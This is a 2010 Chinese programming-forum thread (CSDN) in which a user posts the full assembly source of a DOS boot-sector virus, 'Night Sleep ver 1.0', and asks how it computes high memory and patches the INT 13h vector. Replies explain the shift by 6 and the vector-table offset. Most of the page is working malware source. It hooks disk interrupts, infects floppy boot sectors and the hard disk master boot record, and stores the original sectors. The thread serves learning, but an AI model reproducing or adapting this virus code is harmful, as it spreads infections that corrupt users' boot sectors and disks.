int 13h 问题询问

ygliang2009 2010-09-08 07:39:27
CSDN的大牛们好,这是一个引导扇区病毒的例子,有个地方看不懂希望大牛们请教,在下不胜感激!!!!
1. 06是什么意思,为什么是06这个数字
2. 13h*4是什么意思??还有红色标出的那一部分是如何修改中断向量的??
麻烦各位了!!

OFF equ <Offset>
VirusSize=OFF @@End-OFF @@Start
@@Start:
jmp short @@Begin
VirusFlag db 'V' ;病毒标志
@@BootData: ;这里有两个重要数据结构,不能是代码
org 50h ;病毒从Offset50h开始,病毒未用以上数据
@@Begin: ;但其它程序可能使用,故须保留
mov bx,7c00h
mov sp,bx ;设sp,使ss:sp=0:7c00h
sti
mov ax,ds:[413h] ;得到内存大小(0:413h单元存有以K计数的内存大小)
dec ax
dec ax
mov ds:[413h],ax ;将原内存大小减2K
mov cl,06
shl ax,cl ;计算高端内存地址
mov es,ax
xor di,di
mov si,sp
mov cx,VirusSize
cld
rep movsb ;把病毒搬移到高端地址里
push ax
mov di,OFF @@HighAddr
push di
retf ;跳到高端继续执行
@@HighAddr:
cli ;修改中断向量前,最好关中断
xchg ds:[13h*4+2],ax
mov cs:[OldInt13Seg],ax
mov ax,OFF @@NewInt13
xchg ds:[13h*4],ax
mov cs:[OldInt13Off],ax
;修改中断13h
push ds
pop es ;把es复位为0
cmp dl,80h ;是否从硬盘引导?
jz short @@ReadOldHardBoot
push dx ; 从软盘引导,则传染硬盘
mov dl,80h
call @@OptDisk ;调用传染模块
pop dx
@@ReadOldFlopyBoot: ;读出原软盘引导程序
mov ax,0201h
mov cx,79*100h+17 ;传染时将原引导程序保存在0面79道17扇区中
mov dh,00h
call @@CallInt13
jc short @@ReadOldFlopyBoot ;失败,继续读直到成功
@@ExecOldBoot:
cmp es:[bx.Flags],0aa55h
jnz @@ExecOldBoot
mov ah,02h
int 1ah ;取系统时间
cmp cx,22*100h+30 ;是否大于22:30分
jb @@ExitDisp ;未到,则不显示
lea si,VirusMsg
@@DispMsg:
mov al,cs:[si]
inc si
mov ah,0eh
int 10h ;显示al中的字符
or al,al
jnz @@DispMsg
xor ax,ax
int 16h
@@ExitDisp:
mov cx,0001h ;恢复cx初值
push es
push bx
retf ;去执行原引导程序
@@ReadOldHardBoot:
mov ax,0201h
mov cx,0002h ;传染时将原硬盘主引导程序保存在0面0道2扇区中
mov dh,00h
call @@CallInt13 ;读出
jc short @@ReadOldHardBoot ;失败,继续读直到成功
jmp short @@ExecOldBoot ;去执行原引导程序
@@NewInt13: ;新Int 13h(传染块)
cmp dx,0000h ;是软盘吗?
jnz short @@JmpOldInt13
cmp ah,02h
jnz short @@JmpOldInt13
cmp cx,0001h
jnz short @@JmpOldInt13
call @@OptDisk ;若发现读软盘扇区,则感染软盘
@@JmpOldInt13:
cli
JmpFar db 0eah ;远跳转指令
OldInt13Off dw ?
OldInt13Seg dw ?
@@CallInt13:
pushf ;模拟Int 13h指令
push cs
call @@JmpOldInt13
ret
@@OptDisk: ;传染dl表示的磁盘(dl-0 A: 80:C)
pusha
push ds
push es ;保存段址与通用寄存器
push cs
pop es
push cs
pop ds ;使ds=es=cs
mov bx,OFF OldBootSpace
mov ax,0201h
mov cx,0001h
mov dh,00h
call @@CallInt13 ;读原引导扇区
jc short @@OptOver
mov di,bx
cmp ds:[di.VirusFlag],'V' ;判断是否已经有病毒?
jz short @@OptOver ;若有,则退出
cmp dl,00h
jz short @@IsOptFlopyDisk
@@IsOptHardDisk:
mov cx,0002h ;若是硬盘,保存在0面0道2扇区
jmp short @@SaveOldBoot
@@IsOptFlopyDisk:
mov cx,79*100h+17 ;若是软盘,保存在0面79道17扇区
@@SaveOldBoot:
mov ax,0301h
mov dh,0h
call @@CallInt13 ;保存原引导扇区
jc short @@OptOver
mov si,OFF @@Start
cld
movsw
movsb ;修改原扇区首指令(Jmp near 3字节)
mov di,OFF @@Begin+200h
mov si,OFF @@Begin
mov cx,OFF @@End-OFF @@Begin
cld
rep movsb ;修改原引导扇区指令cx字节
mov ax,0301h
mov cx,0001h
mov dh,00h
call @@CallInt13 ;写回已经被修改了的引导程序
@@OptOver: ;退出传染
pop es
pop ds ;恢复段址与通用寄存器
popa
ret ;以下是病毒要显示的信息,与病毒版本信息
VirusMsg db 0dh,0ah,07h,'Night is deep,you must go sleep!',0dh,0ah,0
db 'Night Sleep ver 1.0,by whg 2001.5.5',0
@@End:
org 1feh
Flags dw 0aa55h ;引导扇区有效标志
OldBootSpace db 210h dup(?) ;定义缓冲区
@@Install:
xor ax,ax
mov ds,ax
cli
mov ax,ds:[13h*4]
mov cs:[OldInt13Off],ax
mov ax,ds:[13h*4+2]
mov cs:[OldInt13Seg],ax
mov dl,80h
call @@OptDisk
mov ax,4c00h
int 21h
End @@Install
...全文
170 4 打赏 收藏 转发到动态 举报
写回复
用AI写文章
4 条回复
切换为时间正序
请发表友善的回复…
发表回复
ygliang2009 2010-09-08
  • 打赏
  • 举报
回复
2楼真乃牛人阿!!多向你学习阿!!
ygliang2009 2010-09-08
  • 打赏
  • 举报
回复
真感谢二位,确实要好好学学,我会努力的,再次谢谢你们!
zara 2010-09-08
  • 打赏
  • 举报
回复
为什么是 6,这是因为那个表示内存大小的值,单位是 KB;下面的运算是要求得截下来那片内存的起始段址。1 KB = 1024 Bytes 即 2 的 10 次方;而段的单位是 16 Bytes,为 2 的 4 次方。这样,KB 转换为段,就是其乘以 2 的 6 次方了 (6=10-4),亦即左移 6 位。
13h*4 什么意思,这个就是计算 13h 的中断向量在向量表内的偏执。因为一个中断向量占 4 个字节(SEG:OFF 格式),向量表的起始地址为 0000:0000,所以 n 号中断的向量的偏址就是 n*4 。
红色部分,是如何修改中断向量的,这个,先要明白 xchg 指令的功能,它是交换两操作数;前面运算了自己的段址在 ax 中,xcgh 后,自己的段址就进入了中断向量表里的段址处,而原段址就到了 ax 中,下面的 mov 指令就将 ax 这的原段址保存起来;下面的对偏执的处理也是完全一样的。
vincent_wu111 2010-09-08
  • 打赏
  • 举报
回复
记得给我全部分数。
内存413h的数据表示1M以内可用内存的最高地址,一般做病毒或者hook int 13h就是把自己的程序copy到413h指定的最高内存(HighMem)到(HighMem-你的程序Size)这个地方。然后修改413的值为(HighMem-你的程序Size)。那么操作系统启动后不会使用你的程序存放这个地方的内存。

mov cl,06
shl ax,cl ;计算高端内存地址
mov es,ax
以上几句代码就是把修改后的最高可用内存的地址给ES,因为413h记录的是以KB为单位的内存大小,ES寻址后还要向左移4位,加上6正好是KB了。

13h*4这个代表中断13h在中断向量表的地址。这个不知道就要好好看书了。

21,459

社区成员

发帖
与我相关
我的任务
社区描述
汇编语言(Assembly Language)是任何一种用于电子计算机、微处理器、微控制器或其他可编程器件的低级语言,亦称为符号语言。
社区管理员
  • 汇编语言
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧